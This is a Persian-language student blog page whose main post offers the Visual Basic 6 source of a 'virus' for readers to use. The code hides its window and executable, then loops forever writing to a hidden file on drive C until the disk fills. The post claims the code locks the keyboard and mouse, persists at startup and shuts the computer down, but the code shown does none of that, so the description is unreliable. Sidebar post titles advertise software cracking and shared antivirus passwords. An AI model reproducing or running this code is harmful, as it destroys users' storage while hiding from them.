» دانلود مجله هک و امنیت آشیانه( شماره 1 تا 6) ( جمعه 05 تیر 1405 )
» یوزر و پسورد نود۳۲(روز جمعه ۲۲ آذر ماه ۹۲) ( جمعه 05 تیر 1405 )
» تعطیلی مدارس شهر ارومیه در روز شنبه 23 آذر 92 ( جمعه 05 تیر 1405 )
» یوزر و پسورد نود۳۲(روز شنبه ۲۳ آذر ماه ۹۲) ( جمعه 05 تیر 1405 )
» آموزش بازکردن صفحات بلوک شده توسط آنتی ویروس nod32 ( جمعه 05 تیر 1405 )
» آموزش ویروس نویسی(جالب!!!!) ( جمعه 05 تیر 1405 )
» کاملترین نقد Samsung Galaxy Note 3 ( جمعه 05 تیر 1405 )
» کرک و رجیستری کردن برنامه ها بدون سریال نامبر و پچ و.... ( جمعه 05 تیر 1405 )
» آموزش قفل کردن ویندوز 7 بعد از تلاش دوباره برای ورود ( جمعه 05 تیر 1405 )
<-BlogAuthor->
با سلام.به وبسایت خودتون خوش اومدین.بنده سبحان بدیعی هنرجوی سال دوم رشته کامپیوتر هستم و در هنرستان حرفه ای ((عسگری))استان آذربایجان غربی در حال تحصیل ام و همواره سعی میکنم که این سایت رو به آخرین مطالب علمی دنیا آپدیت کنم و بیشتر مطالب در علوم سخت افزاری و نرم افزاری کامپیوتر متمرکز بشه.ممنونم واسه حمایت های تمام عزیزان از جمله دبیران هنرستان، هم کلاسی ها و شما وبگردان محترم. Hey. Welcome to your website. Servant Sobhan badie second-year student in the School of Computer Science and am a professional ((Askari)) West Azarbaijan studying and I always try to update this website with the latest scientific world. and most of the content was focused on hardware and software. thank you for all the support for my loved ones, including school teachers, classmates and respected your browser.
ايميل : ss.badie@yahoo.com
تاريخ ارسال : یکشنبه 04 اسفند 1392, 22:54
دسته بندي : [Post_Cat_Title]
نويسنده : kavosh91
سلام.سورس یک ویروس رو براتون میزارم با این مسخصات:
1- صفحه کلید و موس قفل میشه.
2- خودش رو به استارت آپ میرسونه.
3- بعد از 30 ثانیه کامپیوتر خاموش میشه.
4- یک صفحه هم به کاربر نشون میده....
در ادامه مطلب(بدون درخواست عضویت)
من سورس یک ویروس رو براتون میزارم با این مسخصات:
1- صفحه کلید و موس قفل میشه.
2- خودش رو به استارت آپ میرسونه.
3- بعد از 30 ثانیه کامپیوتر خاموش میشه.
4- یک صفحه هم به کاربر نشون میده.
Dim m
Private Sub Form_Load()
On Error Resume Next
Dim a As Integer
Dim s As Integer
Form1.Hide
App.TaskVisible = False
m = App.Path + "" + "project1.exe"
Print m
SetAttr m, vbHidden + vbSystem
a = FreeFile
Open "C:Hacker4906.txt" For Output As #a
Shell "attrib +h +s C:Hacker4906.txt"
For s = 1 To 2 Step 0
On Error Resume Next
Print #a, "********* http://programming-vb6.rozblog.com *********"
Next
Close
End Sub
این کد باعث میشه حافظه درایو سی پر بشه بدون اینکه کاربر بتونه برنامه رو ببینه یا حذف کنه و بعد از اجرا برنامه پنهان میشه
ورود کاربران
خوش آمدید! لطفا وارد حساب خود شوید